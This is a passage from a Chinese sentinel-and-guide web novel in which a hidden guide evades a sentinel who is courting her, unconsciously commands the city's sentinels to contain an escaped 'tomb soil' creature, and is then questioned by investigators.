来了两个哨兵,遥遥地,庄问微感到一瞬来自灵魂深处的悸动,立刻狠狠压住它。
是那个哨兵,好像是叫施什么。
长出第二条尾巴,她尝试更有底气地应对一切。
相比躲人多日的庄问微,施阳泽反而是那个紧张的,他不像第一次那样孔雀开屏,也不像第二次那样直上主题,最后只好敬了个礼,“你好,是庄问微小姐吧。”
真奇怪,以往碰面哪有这么客气,庄问微猜这几天一定发生了什么。
“是的,监控我已经提前调出来了。”
施阳泽赶紧点头:“好的,辛苦。”
后头跟着的小个哨兵看看女人,又看看自己头领,歪着嘴角笑起来,“我去看监控,施营长稍等。”
“施营长......”庄问微是个顺杆爬的人,既然对方尾巴耷拉下来,她肯定要刨根问个清楚,“真巧,前几天刚见过,升官这么快啊。”
“他大概听到——”施阳泽紧急停嘴。
女人乘胜追击,“听到什么?”
男人泄气,“前几天的事情对不起,我可以给你一个投诉电话,如果你打电话,我大概会被扣半年绩效,且今年内都不能晋升。”
“你还没回答我问题呢,他听到了什么?”
两抹红晕飘上施阳泽脸颊,“就.....就是恋爱指导,老领导带着他伴侣过来教训了我一顿,说我像个禽兽,冒犯了你。”
原来是这样,所以这家伙把她可能是向导的事又说给了职级更高的人,麻烦了,万一对方相信招来白塔就不好了。
“不,我听说你的状态很不好,毕竟里面有我的原因,我们就当相互抵消吧。”
施阳泽听闻这话心里空落落,胃也酸,肠子也搅得难受,手必须攥成拳头才不至于失礼抱上去,若不是实时谨记恋爱指导——
老领导坐定,丝毫不提通告白塔的事:“既然她不承认自己是向导,那你就当自己喜欢了一个普通人,按照普通人的方式去追咯。普通人可不像哨向,一对眼天雷地火,一见钟情、二见结婚的。尤其你前头做的事情,太强势、太主动了,对哨向来说是合适的,可她思维是普通人,恋爱指导第一条,再见面直接示弱,先降低她的心理防线。”
对,现在是第一步,降低心理防线。
施阳泽紧紧扣着掌心,挤出一句搭讪,“所以,你的工作是线上家教吗?”
“嗯,主要负责讲作业以及陪读监督。”她连毕业证都不敢拿出来,只能做这种工作了。
“很辛苦吧,要坐很长时间,我以为你是喜欢运动的类型。”
这话一出口,庄问微首先惊讶,一是惊讶于他们竟然能开展这么正常的对话,二是该死的这家伙怎么这么敏锐。
施阳泽没放过那一瞬的惊讶,手背掩唇解释:“我们哨兵天然会比较敏锐,你有1米75吧,行走身手很有武家痕迹。我自己之前很内向不喜欢运动,但觉醒后成了哨兵,不喜欢运动慢慢也喜欢上运动了。”
稀奇,要说庄问微接受了很多年的训练,早以为自己对哨兵很知晓,但没当过哨兵就是没当过,原来他们眼里的世界是这样的。
正好趁着两人气氛好,女人趁火打劫:“真厉害,我以为会是警察办案,怎么会麻烦哨兵?而且两次都遇到你,不会这片儿的哨兵只有你们了吧。”
“最近不是春季大排查嘛,再说前几天还出了洋相,要我回去我也不想回,上面就直接指派我干活来了。”施阳泽说到这儿皱了皱眉,想来是案情细节不能透露。
庄问微立刻明悟,表情恭敬起来,“不方便说可以不说,我只是问问,毕竟——”她低垂下头,眼睫毛颤抖,轻轻嘟囔,“哎,你说,我当时要不是报警,要是直接过去.....”
“不行!”哨兵急了,“那玩意儿——”
“什么?”
抛开追求与否,又不论女人是否答应追求,安全都是第一位的。
施阳泽拉她到一边,郑重说起内情:“几个月前高原地震跑出来的东西已经到安市了,最开始是太平间冷库里的尸体丢失,保管员还在医院里编鬼故事吓人,最后保管员也失踪了,推测从那时候开始,它知道了吃活人的好。”
庄问微后脊背发凉,不由得压低声音,“那东西到底是什么?”
“一块......墓土,状态类似黑色流动的沥青,再多就真的不能说了。”施阳泽顺势拿出手机,“它很狡猾,来安市是因为这里曾是多朝古都,它是来找墓地吃尸体的,没想到半道改了食性。它专找住得偏僻的、独居的人,你加我账号,有危险我立刻过来。”
女人笑而不语,直盯得高大的男人缩起脖子,才
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惊讶地说:“原来我手机就拿在手里!”
*
庄问微心想:稳住对方,顺带套点信息,等离开这个城市就把账号也丢掉。
施阳泽心想:先借助工作产生联系,接着不断侵入生活、提供帮助,温水煮青蛙。对了,我得先想明白她现在有哪些地方需要别人帮忙......看起来她对自己的工作并不那么满意。
*
庄问微得到想知道的东西,一刻不停,直接选择去监控室看进度,坚决不再和施阳泽单独相处。
“......这样就能证明我没有嫌疑了吧,那如果有需要再联系吧。”说罢就走,女人如一朵云,轻飘飘地飞远。
地上的男人,伸手想抓那一抹雾气,最后只能守着云朵在心里的投影。
*
施阳泽倚站在监控室一边,闭着眼长叹。
小个子哨兵过来,侧头一看,对方手指已经深深插入到墙壁里,吹了个口哨调侃,“忍得够呛啊。”
“嗬——”男人咬肌耸动,凶狠地看向部下,小个子一个激灵避开视线,于是他低头回身,簌簌的墙体粉末不断掉落堆积,墙壁上留了十道抓痕和两个掌印,“李想,我现在才明白,生存、求偶、繁殖,怪不得求偶的难度要和生存放在同一级别。”
太难了。
之所以无论什么活儿都是他们几个哨兵来干,不是上级指派,是他坚持要求接手。
这几天不是休息,他们五个人分了三组,分别跟进不同任务,遇到庄问微的这个,已经是他们累积第25个任务了。
终于,碰到了。
将雌兽生存的空间通通打上标记,将雌兽的活动范围纳入到自己领地,同时驱逐领地内所有雄性,保证自己的第一顺序,这是自然界里野兽为了求偶都懂的道理。
可正如他刚刚和庄问微解释的那样,春季大排查,好多哨兵都分散到社区、村庄,走一段就能见到一个,互不覆盖,默认负责范围内的向导由该哨兵优先追求。
庄问微说不定就出门遇到另一个哨兵了,只要想想那场景,就由衷不爽。
这时候,恋爱指导第二条冒出来:
“赛马最帅最吸引人的时候,是它们跑在赛场上的时候,他们甩着腹下那玩意儿追着木马配种时就不好看了。所以,你不能每次遇到别人,都和急着配种的马一样,要给她展示你的工作状态,不经意袒露性格优点。就像是钓鱼,乱动鱼不来,等一切平静,才会对鱼饵感兴趣。”
总之——
“几个大领导里,属他结婚最顺利,信他一回!”施阳泽憋到牙龈出血,他吐出一口血沫,望向感应中向导所在的方位。
不知道向导这次对他的表现感觉如何?
*
与此同时,庄问微坐回桌前,长松了一口气,随即手激动地抖动起来。
刚刚那么长时间的对话,对面都没能找到她是向导的蛛丝马迹,压缩精神触丝到精神图景,真的能长期伪装成普通人。
那些野生向导先辈,也许就是用这种方法伪装。
她成功试验出来,简直像打赢了一场没人指导的大战。
*
逃离追捕的第41天:
之前总担心狐狸会不打招呼就跑出来,没想到它很懂事,我和一个哨兵聊了十几分钟,一直能保持精神触丝压缩的状态,训练是有效果的。
也许不久之后,我就不用担心会被哨兵发现了,感觉自己慢慢探索出了野生向导的生活方式。
9. 第 9 章
明路过了一遍,庄问微的胆子大起来,看着45一颗的大白菜分外不顺眼。
高档小区配套齐全,超市蔬菜种类丰富,唯一就是贵。
“还是得去菜市场买菜!”
她拎起帆布袋,散着步找菜市场,结果半道接到岳雪如的电话。
“你没在家?快快!走,帮我壮壮胆去。”
如果是前几天,庄问微或许还不会答应,可是现在——
“走!”
目的地不远,就在一家诊所门口,庄问微到的早,透过玻璃大门将里面所有人都审视一遍,确定了可能的目标。
捏捏拳头,她这两年时间里,就算再颓废也没忘了锻炼身体,现在做个保镖轻轻松松。
*
诊所内大家:外面来了好飒一个女人。
*
很快岳雪如从出租车下来,抱住好友的手有点抖,“小庄姐,你会陪我一起去吧。”
庄问微看这状态,也不好多问,只等先揍一顿出出气再说,“当然,走吧。”
她一马当先,就要推开诊所的门进去。
*
诊所的大家:她要找谁寻仇!?
*
“诶???小庄姐你去哪儿?”岳雪如转头一指对面,“是那个地方。”
诊所对面,庄问微望着那边的楼,沉默两秒,用来反省自己,这丫头就这死样,为什么竟然还会吃惊,“所以你去国特库干嘛?”
国特库,是民众叫法,正式一点的名称是‘国家特种物资存储库’,带了特种二字,显然就和特种人哨兵向导有关,也不知道存的什么东西,但能成立一个仓库,想必是重要的。
岳雪如咬牙切齿:“我怀疑!我爸小金库就在这里!”
“......为什么,因为这里也带了个‘库’字?”
岳雪如从包里拿出一沓材料,上面密密麻麻各种黑笔、红笔、蓝笔的批注,这几天估计就干这个了,“不用看其他的,从去年末开始,他突然开始往一个账户定期转钱,这个账户查不出信息,但能确定属于国特库。”
钱是从各个市政项目里先汇到一个储备金账户,再转到国特库,不管在市政项目里用什么由头批准,转几次手,到最后怎么用的就说不清了。
“这好像不是小金库的问题了......你准备怎么做?”
女孩突然严肃面对庄问微:“你别担心小庄姐,今天既然来了,就是让我爸下马也要搞清楚,我姥姥家在首都有朋友也有敌人,在牵扯到他们之前必须断掉。”
那为什么不直接告诉姥姥家的人?
看着对方红红的眼眶,女人明白了,岳雪如大概还是想拿到确凿证据后逼自己父亲收手,这样家庭还能保住。
确实......也是事关家庭幸福的大事。
“我明白了”,庄问微欠了人情,自然心无旁骛帮忙,“我们先来踩点,晚上再来拷资料?”
“不啊!”岳雪如猫眼瞪得大大的,“小庄姐你满脑子都是违反法律的事情。”
......
你说话的时候,背着阳光,脸藏在阴影里,明明你才一副反派模样好吧!
*
两人说到这儿,已经转到国特库真正的大门,一眼看到大门口拉的横幅,庄问微就明白了一切。
那横幅上写着两行字:
国家特种物资存储库
20XX年临聘人员统一考试现场
好了,真相就是岳雪如想当临时工,进去卧底拿到资料。
*
有点偏远的地段,大门口熙熙攘攘,男多女少,两人一站到旁边就引起很多目光。
庄问微抱臂挺胸,1米75的个子、早年训练的淡然,让她站在一群健身教练面前也不输场面,而岳雪如这个嘴硬的家伙已经躲到好友背后了。
一眼望过去,没有量子兽,都是普通人。
“怎么他们都不拿复习资料?”庄问微就是个来送考生的,考生蔫了,她自然要起个话题。
却不想岳雪如没回答呢,旁边就一声嗤笑。
转头,一行三四个男人松散站一边,“小脸抹这么白,也不知道考什么,这不纯纯白痴女吗?”
庄问微本来就白,也不是非想知道考什么,但她不去辩解,上下扫一遍领头的男人,“看我不爽,可以先去死,或者我刚刚哪个词刺痛你心脏,告诉我,我再说一遍?”
男人立刻怒火中烧,在伙伴阻拦下没冲过来,但仍放下狠话,“一会儿上场了,先收拾你!”
庄问微挑挑眉头,看向背后的女孩,“你报的什么岗,怎么考试不动脑,光动嘴呢?”
周围听到热闹的都笑起来,那边被嘲讽的领头男子脸色更黑了。
“噗”,女孩笑得眼睛亮晶晶,终于是没了考前焦虑,拿起准考证说:“仓库管理啊,我这几天还买了本书学了学,也不知道——”
后方一道声音打断,“这不是那天拒绝施哥的勇士吗?!”
寸头哨兵从临街房顶跳下,一眼看到了庄问微,刚出于习惯接了话,走到近前突然想到什么,又撤退两步,比着两人上方的空气说:“咻,对方撤回了一句话,因为说错了话。”
总感觉这次招人估计是考身手,不是岳雪如想的那么简单,帮忙拉个关系套套话也是好的,于是抬抬手机,“我加施营了,他今天也在这里出任务?”
寸头刚一到场,广场等待进场的人几乎都往这边瞟了一眼,哨兵的高大的体型和出众的外貌让他们在哪里都是焦点,连带两个女孩也被行了注目礼,还有人戏谑地看向刚刚嘲讽的那三四个男人,他们果然面色不自然起来。
“全市的任务都是我们的了,早知道今天监督考场的任务就让给施哥了。”
“噢”,施阳泽估计还在找‘墓土’,这么说来,小女孩家好像就在不远的地方......
于是迅速进入正题,“这不是招仓库管理嘛,不考笔试吗?”
“有‘bi试’,但是是比武招亲那个比试,先是面试再比试,都一天搞定,当天就能出名单。”他拍拍脑袋,“不对,名单里也没有你啊,你是陪考?”
庄问微点头。
恰好这时有工作人员打开入场大门,围观的人不少离开,寸头哨兵凑近,“我临时给你报个名?这里临时工工资也有6000,而且包吃,有房补。”
他挑眉轻声说:“待遇很好,我这边说一句话的事儿。不喜欢这个,旁边还有省级特种人综合管理部,那个待遇更好。”
顶着巨大的诱惑,庄问微摇头,寸头非亲非故,这么开绿灯不就是为了给上司铺路,自己又不是真心想和施阳泽交往。
而且说实话,她不准备做和特种人相关的工作,现在想起弟弟电视里的样子都会反胃,真的一点不想和那家人产生联系了,
“好吧”,寸头也不失落,还帮忙带着岳雪如入场。
见庄问微落单在后,刚刚嘲讽的三四个男人也留下,不知道内部讨论什么,面带顾虑看了她许久,一个面善的小伙
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子过来套话,“呀,刚刚我哥就是嘴贱,他就喜欢到美女面前装逼,然后再教人家,实际上人不坏。”
女人看向后面,那个中间的人低着头不和她对视,“噢,那以后让他管好自己。”
就此要结束话题。
面善小伙子自觉尴尬,却不得不搭话,“诶,刚刚那个领导是你朋友啊?负责面试的吗?”
“他上司在追我,关系就这样,你们也放心,女生一辈子遇到的这种事多了,来不及一个个报复,你们考试去吧。”
话题就此做罢,三四个高大男人不自然地过来感谢,才敢进考场。
安静下来,庄问微不由觉得荒诞,她还是她,只是一个可能和哨兵扯上关系的身份,就被如此尊敬。
男人尚且可以用一看就知的肌肉,让冒犯者出口前再三思量,可女人呢,只好用一层层的社会身份加装,才能获得尊重。
她作为一个社会意义上来说的边缘人士——无家庭背景、无亲缘支撑、无正式工作,一旦落入这样的三无境地,身为女人要处境危险得多。
如果真的要在这个社会以普通人身份独自生存下去,这重女性困境无法忽视。
确定原生家庭无法找到,又托了能在高匹配哨兵面前隐藏身份的功劳,两年来第一次,她突然对找一份正式工作、获得社会身份感兴趣起来。
以后到别的城市吧。
女人如此想着,脚步不停,和一个踉踉跄跄的男人擦肩,她注意到什么,唰地转头。
*
安市上空,有什么东西在普通人不知情的情况下变化着。
*
这是对安市哨兵来说不平静的一天,也是后续调查组很久没有头绪的一个日子。
这个寻常上午,哨兵们如常坐在办公室、行走在任务中、聚集在食堂里,随后他们统一地放下了手头的事,推开房门、停下脚步、转头朝着同一个方向奔跑。
没有人能停止这种步伐,天空中传来陌生向导的召唤,他们必须响应来自灵魂的顺从。
城市里普通人停下车,看着在房檐上飞速经过的哨兵,接着又是另一个,张大嘴巴不安道:“发生什么大事了?”
昏暗封闭的私人影院中,《肖申克的救赎》播放,狐狸和女人同时看着狐火在燃烧,从最大那条的尾巴尖开始,点燃绒绒的软毛,眨眼间尾巴燃烧殆尽,她几乎立刻陷入昏迷。
国特库巨大的地下仓库里,一只泛金的头骨撞破囚禁的玻璃,打着滚儿朝门口走去,适时它流落在外的身体推开三把钥匙才能打开的大门。
三五件沾着新鲜活人气的员工制服掉落在地,穿着的人却不见踪迹,它伸手拿起脚边的头颅,沥青一般的身体向外张开,最后吞下,黑色开始向金色转变。
就在这时,它听到了无数人的脚步。
哨兵们来了,几乎整座城‘倾巢而出’,却没有发出一声问询,所有哨兵无需沟通,他们的思想在高空互相连接,达到前所未有的同步,如烟花般活跃。
黑暗的思维世界里,遥遥地,有一道被光笼罩的背影在前方,指引所有哨兵如同飞蛾般义无反顾扑向标记的红点。
视觉如鹰、嗅觉如鲨、听觉如蛾,无论什么等级,哨兵的五感和身体都被一只无形的手调整到最佳状态,他们追随一位向导的命令,穿透层层钢筋水泥墙,敌人在视网膜上清晰可见。
大战即刻爆发,但没人感到不安,他们反而感觉到灵魂深处的安定,像伤人的匕首被一只手紧握住,只感觉到被安定地掌控。
10. 第 10 章
C级哨兵留在外围,救助困的工作人员,同时防守包围圈,B级哨兵各个亮出自己拿手武器,少有的十几个A级则以施阳泽为首,他拥有对敌经验。
“墓土无法被杀死,但可以被削弱,打出它内部的骨头,倒入汽油关进钢化玻璃笼就可以收容,关十年以上即饿死。注意不要被它侵入口鼻,一旦身体皮肤有磨损就退下。”
地下仓库内,墓土的身体停止转化,呈现一种半黑半金的状态,停止的瞬间身形暴涨,全部炸成拳头大小的个体,朝着不同方向进行逃亡。
在所有哨兵的感知网内,红点由一个变成密密麻麻一片,他们并不恐慌,反而兴奋地难以自抑,五感超级发达,身体掌控感无比强,此刻仿佛能对抗整个世界。
“嗷——”
不同的量子兽四处追击,霎时安静的大楼成了战场,红点一个个被控制。
而作为首领的施阳泽心里冒出了一个女人的名字,线索像泥中莲藕逐渐浮出水面,越来越清晰。
他胸中无尽浩荡、无限痛快,只觉力大无穷、能与天地齐寿,只要、只要让他继续这么砍杀下去,就算站着死去也无怨无悔。
*
庄问微回到国特库时,远远地看去,有那么一会儿都没找到它在哪里,一眼过去,能看到上午和岳雪如汇合的那间诊所。
她站在原地,本来就昏胀的头脑更加混乱。
这个方向,视线应该是被国特库的围墙挡住来着,怎么能直接看到背后的诊所?
再往前走,那个巨大的坑开始显现,从里面不断走出哨兵,庄问微这才了悟,国特库地面上的建筑已经被夷为平地了。
是她的‘手笔’,或者说,是她操控所有哨兵做下的,因为燃尽一根尾巴,精神和□□分离,她尚且不明白这是多么震惊的事。
曾经的围墙坍塌,散落一地砖石,参天的古树拔起,不知道被谁随手堆在了其他单位的院子里。
关键是那栋9层高的大楼,变成一片废墟,都已经凹陷下去,旁边摆放着一层密封的玻璃缸,里面是不断涌动的黑色沥青。
那就是‘墓土’,它已经被分割成一个个小块儿,再也兴不起风浪,但是经过这一轮‘大吃大喝’,它被人类饿死的时限又往后拖延不知多少年。
这一场大战,是双方透支精力的大混战,只持续2个小时,但不同等级哨兵的体质分别就展现得淋漓尽致。
C级哨兵以及一些B-哨兵都靠墙瘫坐,整个人处于精神兴奋而身体疲惫的状态,B级哨兵还有余力,正是搬运玻璃缸的主力,唯剩下十几个A级哨兵,正在全神贯注警戒意外,毕竟现在向导的指挥已经消失。
几乎是心有灵犀,施阳泽抬起头,两人隔空相望。
剩余的A级也齐齐看过来,一瞬间虎啊豹啊狮子啊都拥到女人身边,嗅到她无比孱弱的精神,惊疑不定望向主人。
向导神经触丝是由活跃的脑磁场电波形成,普通人也会有微弱的反应,可面前这人比普通人还弱,但A级们总有种想亲近的冲动。
庄问微累到无需伪装,来这里全凭一股心劲儿,距离这么近的地方出了大动静,她得来接岳雪如,看看没受伤就行。
很巧,在她过来的后脚,外面一圈已经被围,普通人军队开进来,等待接手后续。
于是两人还没说一句话,管理人员已经上前拦住庄问微,“无关人员赶快离开!”
女人走到这里是强撑,她又木着脸假装正常离开,刚转身,手肘已被人撑着,温柔有力的臂膀代替她撑住这幅身体。
“这是我的朋友”,施阳泽扶着她离开,不让其他人发现异常。
温热的呼吸扑在耳边,浓重的汗味和灰尘味笼罩头顶,他说:“干得漂亮,这里放心交给我处理。”
对此,女人轻轻反驳:“你在说什么,我才到啊。虽然不知道发生了什么,但哨兵总是第一线,辛苦你们了。”
*
那天所有在场的幸存者都留下了联系方式,如果后续有健康问题都能报销,而且为了安抚人心,避免消息泄露,再加上这次事件里国特库减员厉害,包括岳雪如在内,所有活着的人都被聘为临时工,负责整个国特库的过渡工作。
其中也有庄问微,不知怎么得,通知第二天上班的电话通过岳雪如打给了庄问微,让她准点来废墟干活。
她当然要开口拒绝。
“主要是录入整理仓库物品的活儿——”
她可不是杀人犯,还有兴趣重返犯案现场,当然还是要拒绝。
“一天两千。”
庄问微:“......好。”
*
危机已经过去两天,施阳泽的聊天框再没动过,大型任务后哨兵都要回总部报告情况,遑论这种惊动全城的事情。
狐狸燃尾召唤哨兵后进入休眠,暂时叫不出来——也可能是因为没尾巴太丑了。
社交媒体上不断冒出普通人拍摄的录像,又在几秒后被平台屏蔽掉,这么多哨兵,没一个嘴松,全部被当天拉集训中心进行背靠背问询。
所以倒果为因,外界只知道那天有个紧急召集任务,是城郊一个仓库塌了,全城哨兵总动员,就为了救人,于是画风瞬间变成对哨兵的赞美。
普通人社会,从‘墓土’出现到它最后被分割成一千块再度运回高原,自始至终没有掀起什么波浪,过着玻璃房里的安定日子。
而所有知晓内幕的高层、哨兵总部、白塔,则全部炸开了锅,关于‘光明向导’的讨论简直让哨向论坛的帖子日夜不休。
“光明向导真的存在吗?也许这只是一种没见过的向导特性。”
“你告诉我,什么向导能将自己的意志投射到将近三百个哨兵身上,不管什么特性,做到这种调度能力,只有传说中的光明向导。”
有人因此科普:“光明向导和黑暗哨兵一样,代表着能力的顶峰,一般一个世纪都不一定能出现一位,一旦出现就能引领一代人。上次光明向导的诞生之前,向导没有S级这个等级,而且无法像哨兵一样凝聚出量子兽战斗,包括现在的培养制度,都是光明向导诞生后的井喷冒出的。”
“那种向导会强成什么样啊,我一个C级,每天安抚15个哨兵就得歇好久,更别说跨过他们的意志,直接指挥那么多哨兵了。”
一个调查组应运而生。
他们在简单获知情报后分析,安市疑似存在光明向导。
不是光明向导,也至少是一个S级野生向导。
*
哨向特区某别墅区,阳光通透的落地窗前经过一个身姿挺拔的少年,他走进地下室的储藏室,从垃圾堆里翻找姐姐曾经买过的书。
“向导指南......”他翻到光明向导的一章,不由嗤笑,“书干净得就像她那张脸,那个废物每天装着一副努力的样子,现在不知道在哪个犄角旮旯躲着。”
可别让他发现了,否则爸妈不得不悔婚时收到的屈辱都要她一一偿还。
如果庄问微在这里,大概会感叹她这个没心的弟弟又长高了,变得人模狗样,但灵魂还是一样垃圾。
*
调查组带着调查光明向导的繁重任务,落地安
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市的第一天,就来到集训中心的问询室。
满墙静音棉,椅子牢牢焊接在地面上,整室空荡安静,哨兵五感敏锐,这是最适合他们静思休息的房间,一整面单面玻璃背后,调查组观察着对面闭目养神的男人。
屋顶安装的喇叭骤然响起,“施阳泽,陈述你那天看到的东西。”
这已经是不同人问询的第七波,说辞滚瓜烂熟,“我们调查别墅杀人案,追踪痕迹来到附近荒废公园,才发现抓到的是墓土分裂出来的分/身,于是返回特种人综合管理部处理,接着就听到了陌生向导的召唤......”
他说到一半,意识到什么,立刻中断对话,“催眠?”
哨向特区擅长催眠的——
“顾尾?你也来了?”
对面停顿一秒,像是询问人员位置变动,继而传来一板一眼的回答:“是我,基于对组织的绝对信任,请对我完全敞开心扉,当然这对你来说很痛苦,可刚刚我尝试更自然的潜入你的意识层,你却拒绝了。”
施阳泽没有睁开眼睛,心里已经焦急起来,上面会派调查组是情理之中,但为什么会派这个牲口过来?
作为向导,他的残暴程度不输一些游走在神游边缘的哨兵。
量子兽是传说动物食梦貘,曾经因多次诱导哨兵自/杀被判刑2次,还在任务中随意操控证人的视觉,导致对方精神崩溃,等等等等......
可以说将玩弄哨兵、试验向导写在骨子里。
因为是向导,特长又是催眠,瞒了总部好长时间,导致一朝查明真相,刑期加起来有一辈子那么长。
这样的家伙......他长得还不错,每次被从监狱里借调,都会来第一食堂吃烧鹅饭,成为惯例后,甚至成了一个参观景点,老人带新人,都会去食堂告诫他们不要对这个外表干净儒雅的向导掉以轻心。
这么说起来,第一食堂的烧鹅饭真的很不错,给的量多,肉嫩又入味,在大米饭上摆上三排烧鹅切块,两排青菜,一小撮白菜,一个切开的茶叶蛋,最后再浇上三满勺汤汁,吃起来香得鼻涕泡都要流出来。
怪不得这么残暴的人也愿意打卡,哎呀,也不知道做烧鹅饭的师傅会不会紧张到失误。
不过这种美味未匹配哨兵是不能时常吃到的,除了刚被向导梳理过精神图景,或者喝了足够的安抚剂,哨兵只能吃没有味道的食物,否则除了烧鹅饭的本味,还能尝出切烧鹅菜板有多久没洗,刀上面的锈味儿,师傅的汗味以及口臭。
对了,烧鹅饭的档口还会卖盖饭,上次尝的鱼香肉丝盖饭味道就很不错.......
*
沉默的问询间,哨兵低垂着头,他以为自己接受询问,实际上正进入被催眠状态,但单面镜后,顾尾皱着眉,指示助理编辑第一次催眠记录。
“催眠对象:施阳泽(A+)
第一次催眠结果:失败”
助理惊讶抬头:“失败?他不是已经睡着了吗?”
顾尾眼中含着锋芒,让整屋人都不敢与之对视,“是睡着了,正在回忆第一食堂每道菜的味道,他故意的,很快就会开始回忆第二食堂。”
“......”所有人不敢说话。
“他的大脑,好像被人保护了,侵入起来的感觉真恶心,像吃了口水母,最近他身边有什么向导?”
助理回忆:“上次精神疏导在两个月前,其他没有记录,不过他为什么留在安市?”
顾尾笑:“这是个好问题,就从身边的相关人员查起吧,虎贲营护短嘴紧,总不会在其他地方也没有破绽吧。”
11. 第 11 章
几天后,庄问微在审讯室。
很快,一男一女走进来,拉开对面的椅子。
女人灰色西装,男人黑色军服,以女人为首开始自我介绍:“你好,庄问微小姐,我姓齐,叫我齐警官就好,我们是上级派来的调查小组,需要询问所有人的回忆,这是必须要走的规定流程,请不要紧张。”
旁边男人眉眼低垂,卧蚕饱满,头发打着卷,很温和儒雅的模样,跟着说:“我是顾尾,是齐警官的助理,由我负责记录。”
他一说话卧蚕就盈盈,好似一直目中含笑,两人的组合一官方一亲和,主打降低嫌疑犯的戒备心。
庄问微缩起肩膀,像所有第一次进审讯室的普通人一样,表面镇静,但能一眼看出慌乱,“请问......发生了命案是吗?找我是因为怀疑我吗?我完全不知情哈。”
齐警官看了旁边‘助理’一眼,“不是怀疑你,所有人都是这个流程,你前面的人也经历过。请将那天在国特库的经历,看到的听到的,一五一十都说出来。”
“我都没在那边待多久,早上送我朋友进考场,就在附近私人影院看电影等她,结果到时间来接她,发现国特库成废墟了。”
打字记录的声音在旁边敲响,顾尾一边做助理一边越过电脑屏幕,冷静地观察面前的女人。
齐警官追问:“据其他考生说,你在考前和面试官之一的哨兵吕放相谈甚欢,请如实描述你和他的关系,以及当时说了什么?”
“吕放?”女人皱起眉,突然想起什么,“哦,是那个施营的下属,怎么,是他犯的问题?”
“这是机密,请回答我的问题。”
庄问微如实讲述和其他考生的口角,“......接下来他们就进考场,我的行程就和刚刚说得一样。”
齐警官翻阅卷宗,再次提问:“真的没有了吗?你在国特库的时候没遇到什么其他人嘛?”
“啊?我后面没和谁说话啊。”女人否定的同时思绪慢慢运转,能从她脸上的表情看出进度,终于她想起来了,“好像是遇到一个人吧,走路歪歪扭扭的。”
那是国特库的一名文员。
灰衣女警翻看门卫的口供,对上了。
门卫也看到了那名文员,因为一向早到的人迟到还不打招呼,疑惑目送时,看到一个女人也转头看向那名文员。
那个女人就是庄问微,她没有撒谎。
“除了走路,你还注意到什么?”
庄问微一下紧张起来,“是那个人吗?我看网上都说是有人携带炸/药进去。”
齐警官表情仍严肃,但态度稍放松。
“这方面没法透露——”
“我这里有扫码购买私人影院套餐的——”
两个女人一人一句对话,电脑后头,打字声音继续,可仔细看,他的双手根本没有在动,只是摆在键盘上当个样子,工作都由一根精神触丝代劳。
前方的声音逐渐飘远,顾尾仿佛站到了习惯的单面镜背后,观察着前方的女人。
——违和感。
——出于向导直觉的违和感。
天下没有不透风的墙,施阳泽作为有望晋级S级的哨兵,竟然会追求一个普通人,这种事情怎么说都透着诡异。
他要试一试这个‘普通人’。
*
双手一推电脑,三人交谈的桌面上瞬间出现一只量子兽,马身象鼻牛尾,吐气之间云雾缭绕,瞬间蒙住在场人的眼。
“等等!”齐警官差点被这变故吓得跳起,嘴边一句“你还想被判刑吗”差点说出口。
向导有不能随意向普通人使用能力的规定,尤其是有前科的顾尾。
顾尾似有感应,轻声说:“一年两年无所谓。”
说着粗壮的精神触丝就已来到女人脑后,只等主人一声令下,就要撬开这个人的脑壳,遍览她的记忆,或者玩弄她的感官。
齐警官头皮发麻,“别!”
下一刻,迟疑的声音打断了两位向导的双人戏,“齐......警官?这位——”
庄问微轻轻向远离顾尾的方向侧身,“不好意思,是我打断什么了吗?”
微微眯起眼,很快两位向导就意识到了什么,女警坐下,“资料上说,你是普通人。”
女人有点不解,点头:“当然。”
顾尾却不罢休,食梦貘持续散发雾气,使得白雾几乎凝成雨滴,他举起手机里的文段,“这上面写着什么?”
女警呼吸都谨慎起来,在传说生物食梦貘制造的云雾面前,只要是特种人,就没有能分辨出五指的,她伸出精神触丝,才能勉强用‘心’分辨周围墙壁和人的位置。
“朱自清的背影?需要我念出——”没等女人声音落地,整个房间紧迫的气氛一松,顾尾一把按下电脑离开,等女人后面的“——来吗”说出口时,门被狠狠关上的声音震耳欲聋。
齐警官眼里,食梦貘制造的云雾还未散去,她只能帮上司擦屁股,“就这样吧,如果需要其他信息,我们会再联络你。”
而后,跟随顾尾的脚步也匆匆离去,直到电梯门口才找到面露嘲讽的上司。
齐助理:“顾老师,怎么了?”
顾尾不语,等电梯门打开,确定里面没人,他才嗤笑一声,“信了那些哨兵的脑子,我真是蠢疯了,施阳泽原来喜欢那种类型,喜欢到一看见,下面就接管了神经中枢的职责。”
齐助理自动忽略老板的自嘲,在电脑里操作,“所以这个女人也排除,黑手套组织的头领同意今晚见面,还有就是,要不要催促市长赶快推进春季大排查?”
“春季大排查,是说所有人排排队,那位光明向导不小心被挤到队伍里,不小心被检测出超高的脑磁场,从而暴露?”
齐助理:“......看来一定是潜伏很久的野生向导,那今晚和黑手套的沟通就很重要了,他们长期掌管地下世界,想必知道几个藏起来的向导。”
“你觉得他们会告诉我们吗?”顾尾对这个方案仍不放在心上,“有这功夫藏在自己组织里多好,他们每天都接上面的脏活儿,处理无法合理解决的人,白塔向导理他们都不理。”
齐助理一下被难住,叹气道:“怎么找一个有意躲藏的光明向导?所有不好做的棘手任务都推给你呗,我真是被你连累了永远不能升职加薪。”
“呵呵,你当然可以,其实你去拿档案的时候,我拐了个弯到审讯室门口,偷偷进入到那个女人大脑里了。”
很正常,就是普通人未能觉醒时的一片白茫茫,从进入审讯室开始的催眠也一无所获,证明庄问微刚刚所有说的话都是真的。
“!!”齐助理双目瞪大,指了指自己的手表,“你知道我手表里是24小时监视加监听吧......”
“所以,告发我,只要我刑期增加,上头就高兴,你就能升职加薪。”
“......”
电梯叮地打开,看着助理憋屈无奈的表情,顾尾恶劣地咧嘴笑,终于心情好起来,不吝言语:“你忘了食梦貘老本行吗?
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”
“入梦?”
“三百个哨兵,一个个来,我不信没有线索。”
*
从审讯室出来,庄问微一切如常,在一位辅警的指引下签字确认,但走出没两步,她就又回来。
“警官,你们这里能报警吗?”
“那要到前面登记,民事、刑事?”
女人笑:“我离家几天,有人偷偷进我的屋子,应该报哪个?”
*
时间回到几天前。
挂掉通知去国特库上班的电话,庄问微脸上的社交笑容彻底淡掉,这么大的事情,上面一定会派人过来,把所有涉案者都固定起来是一贯做法。
好在那么多人,加上她有意制造了不在场证据,一切行动都符合常理,就算查,也不会认真查一个背景板。
“狐狸?狐狸?”精神图景里一只狐狸窝在树下,苹果砸到头上,它伸个懒腰,换个姿势继续睡。
